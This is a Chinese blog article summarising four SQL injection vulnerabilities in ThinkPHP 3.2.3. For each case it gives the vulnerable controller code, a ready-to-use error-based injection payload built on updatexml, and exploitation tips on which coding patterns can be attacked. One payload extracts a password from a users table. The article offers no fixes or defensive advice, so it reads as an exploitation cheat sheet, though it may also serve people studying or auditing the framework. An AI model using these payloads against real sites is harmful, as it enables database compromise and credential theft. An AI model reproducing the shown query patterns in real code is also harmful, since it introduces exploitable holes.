您好!欢迎来到北极熊

北极熊

热门搜索: 任正非传    神雕侠侣    红楼梦   

thinkphp3.2.3 注入漏洞总结

分类:软件开发应用 时间:2019-12-16 15:37 浏览:543
概述
thinkphp3.2.3 注入漏洞总结
内容

0x1 源码写法

public function index()
{
    $data = M('users')->find(I('GET.id'));
    var_dump($data);
}

 

exp

· 

?id[where]=1 and 1=updatexml(1,concat(0x7e,(select password from users limit 1),0x7e),1)#

 

1.jpg

 

坑:

 

注意写法是

· 

find(I('GET.id'))

 

在源码中,一般都是

· 

M('users')->where('id',I('GET.id'))->find();

采用上面这种写法的话,find,select,delete这些常见方法都是可以注入的。

 

0x2

 

写法

· 

public function index(){    $User = D('Users');    $map = array('id' => $_GET['id']);    $user = $User->where($map)->find();}

 

exp:

· 

id[0]=exp&id[1]==1 and updatexml(1,concat(0x7e,user(),0x7e),1)

 

2.jpg

 

坑:

 

$User->where($map)

 

where传的是一个数组,而且数组必须可控,还必须是通过$_GET获取的,通过I助手函数获取的不会触发漏洞。

 

 

0x3

 

写法

· 

    public function index(){        $User = M("User");        $user['id'] = I('id');        $data['password'] = I('password');        $valu = $User->where($user)->save($data);        var_dump($valu);    }

 

 

exp

· 

?id[0]=bind&id[1]=0%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)&password=1

 

1.jpg

 

坑:

update注入,save方法才存在注入漏洞。

 

最关键的代码是$User->where($user)where里面要传入一个可控的数组才行。

常见的写法where('id',I('GET.id')),这种是触发不了漏洞的。

 

 

0x4

 

写法:

· 

public function index(){        $User = M("User");        $order_by = I('get.order');        $q = $User->where('id','1')->order($order_by)->find();        var_dump($q);    }

 

exp

· 

?order[updatexml(1,concat(0x3a,user()),1)]

 


 

坑:

 

这个基本上没什么坑,order方法参数可控就可以注入。

 


评论
资讯正文页右侧广告
联系我们
电话:18936411277
邮箱:1044412291@qq.com
时间:09:00 - 19:00
公众号:北格软件
底部广告